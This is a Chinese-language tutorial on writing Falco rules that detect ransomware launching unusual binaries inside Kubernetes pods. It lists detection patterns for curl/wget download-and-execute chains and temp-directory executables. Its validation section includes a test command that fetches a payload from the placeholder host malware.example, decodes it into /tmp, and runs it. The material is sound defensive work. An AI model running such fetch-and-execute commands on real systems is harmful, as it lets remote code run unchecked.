Falco能在线捕捉Pod内非法执行非标二进制的勒索行为,核心在于实时捕获spawned_process系统调用,并结合进程路径、命令行参数、容器上下文和恶意特征做精准识别,毫秒级发现解压后直运加密器等早期勒索动作。

Falco 能在线捕捉 Pod 内非法执行非标二进制的勒索行为,核心在于实时捕获 spawned_process 系统调用,并结合进程路径、命令行参数、容器上下文和已知恶意特征做精准识别。它不依赖日志回溯或文件扫描,而是从内核事件流中毫秒级发现异常进程启动,特别适合检测勒索软件早期执行阶段(如解压后直接运行加密器)。
锁定勒索类二进制的关键特征
勒索行为往往表现为非标二进制(非镜像自带、非包管理安装)在运行时被下载并执行,常见线索包括:
-
非常规路径执行:如
/tmp/.x、/dev/shm/ld.so、/var/run/.cache等临时目录下的可执行文件 -
可疑命令行模式:含 base64 解码、
curl | sh、wget -O /tmp/*、chmod +x && ./等组合操作 -
进程名伪装:使用
sshd、nginx、java等合法名称但实际非官方二进制,或随机字符串名(如a1b2c3、svchost) -
高危系统调用链:进程启动后立即调用
mmap(写入内存shellcode)、openat(遍历/加密文件)、connect(联系C2)
编写高精度检测规则
在 /etc/falco/falco_rules.local.yaml 中添加如下规则,聚焦勒索行为典型动线:
- 匹配“下载+执行”流水线:
spawned_process and container and (proc.cmdline contains "curl" or proc.cmdline contains "wget") and proc.cmdline contains "/tmp/" and proc.cmdline contains "sh" - 拦截非常规路径执行:
spawned_process and container and (proc.exepath startswith "/tmp/" or proc.exepath startswith "/dev/shm/" or proc.exepath startswith "/var/run/") and not proc.exepath contains "/bin/" and not proc.exepath contains "/usr/bin/" - 识别无签名/随机名进程(需配合白名单):
spawned_process and container and (proc.name in (a1b2c3, svchost, ld.so, x) or proc.name pmatch "(^[a-z0-9]{4,6}$)") and not container.image.repository in ("your-trusted-debug-image")
注意:建议将 proc.name pmatch 与 proc.exepath 联合判断,避免仅靠进程名误报;对调试镜像等可信场景务必加 and not container.image.repository contains "debug" 排除。
增强上下文与联动响应
单靠进程名或路径易漏报,需叠加多维上下文提升检出率:
- 限制用户权限:
and user.uid > 1000(排除root初始化,聚焦普通用户遭劫持) - 关联父进程异常:
and proc.pname in (sh, bash, curl, wget, python)(确认是脚本拉起而非正常服务) - 启用
syscall行为链检测:新增一条规则监听openat and fd.name contains "/etc/" and evt.type=openat and evt.arg.flags contains "O_WRONLY",捕获加密前的敏感文件写入试探 - 告警输出中强制包含完整命令行与父进程树:
output: "Ransom prep detected (user=%user.name container=%container.id cmdline=%proc.cmdline parent=%proc.pname pcmdline=%proc.pcmdline)"
通过 Falcosidekick 配置 HTTP 输出至 SOAR 平台,自动触发隔离 Pod、封禁源IP、快照内存等响应动作。
验证与调优要点
部署后需快速验证有效性并控制误报:
- 用测试命令模拟勒索行为:
kubectl exec -it pod-name -- sh -c 'curl -s http://malware.example/x | base64 -d > /tmp/.x && chmod +x /tmp/.x && /tmp/.x' - 检查 Falco 日志是否在 1 秒内输出对应告警:
kubectl logs -n kube-system ds/falco | grep "Ransom prep" - 若误报高频,优先收紧
proc.exepath条件,而非放宽proc.name;生产环境禁用纯正则匹配,改用明确路径白名单 - 定期更新内置列表:
shell_binaries和network_tool_binaries可扩展加入已知勒索家族别名(如lockbit,blackcat)


















